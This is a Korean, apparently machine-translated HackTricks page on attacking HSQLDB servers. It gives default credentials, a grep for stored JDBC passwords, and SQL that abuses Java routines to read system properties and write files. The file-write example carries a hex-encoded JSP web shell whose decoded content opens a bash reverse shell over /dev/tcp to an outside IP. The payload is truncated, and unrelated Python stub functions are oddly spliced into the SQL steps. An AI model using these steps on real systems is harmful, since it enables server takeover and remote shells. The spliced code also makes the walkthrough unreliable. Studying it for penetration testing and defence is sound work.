5.6 KiB
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
기본 정보
**HSQLDB (HyperSQL DataBase)**는 자바로 작성된 주요 SQL 관계형 데이터베이스 시스템입니다. 이는 작고 빠른 멀티스레드 및 트랜잭션 데이터베이스 엔진을 제공하며 인메모리 및 디스크 기반 테이블을 지원하며 내장 및 서버 모드를 지원합니다.
기본 포트: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
정보
기본 설정
기본적으로 이 서비스는 메모리에서 실행되거나 로컬호스트에 바인딩되어 있을 가능성이 있습니다. 찾았다면, 아마도 다른 서비스를 공격하여 권한 상승을 시도하고 있을 것입니다.
기본 자격 증명은 일반적으로 비밀번호가 비어있는 sa
입니다.
다른 서비스를 공격했다면, 가능한 자격 증명을 찾기 위해 검색하세요.
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
정보 수집
HSQLDB를 다운로드하고 hsqldb/lib/hsqldb.jar
를 추출하여 DB 인스턴스에 연결합니다. java -jar hsqldb.jar
를 사용하여 GUI 앱을 실행하고 발견된/약한 자격 증명을 사용하여 인스턴스에 연결합니다.
원격 시스템의 연결 URL은 다음과 같이 보일 것입니다: jdbc:hsqldb:hsql://ip/DBNAME
.
트릭
자바 언어 루틴
HSQLDB에서 Java 언어 루틴을 사용하여 Java 클래스의 정적 메서드를 호출할 수 있습니다. 호출된 클래스는 응용 프로그램의 클래스 경로에 있어야 합니다.
JRT는 함수
또는 프로시저
일 수 있습니다. 함수는 Java 메서드가 하나 이상의 SQL 호환 기본 변수를 반환하는 경우 SQL 문을 통해 호출할 수 있습니다. VALUES
문을 사용하여 호출됩니다.
호출할 Java 메서드가 void를 반환하는 경우 CALL
문을 사용하여 호출해야 합니다.
Java 시스템 속성 읽기
함수 생성:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
def execute_function():
# Code to execute the function goes here
pass
def execute_function():
# 함수를 실행하는 코드를 여기에 작성합니다
pass
VALUES(getsystemproperty('user.name'))
파일에 내용 작성하기
JDK에 위치한 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
자바 가젯을 사용하여 사용자 정의 절차를 통해 16진수로 인코딩된 항목을 디스크에 작성할 수 있습니다. 최대 크기는 1024바이트입니다.
절차 생성:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
프로시저 실행:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.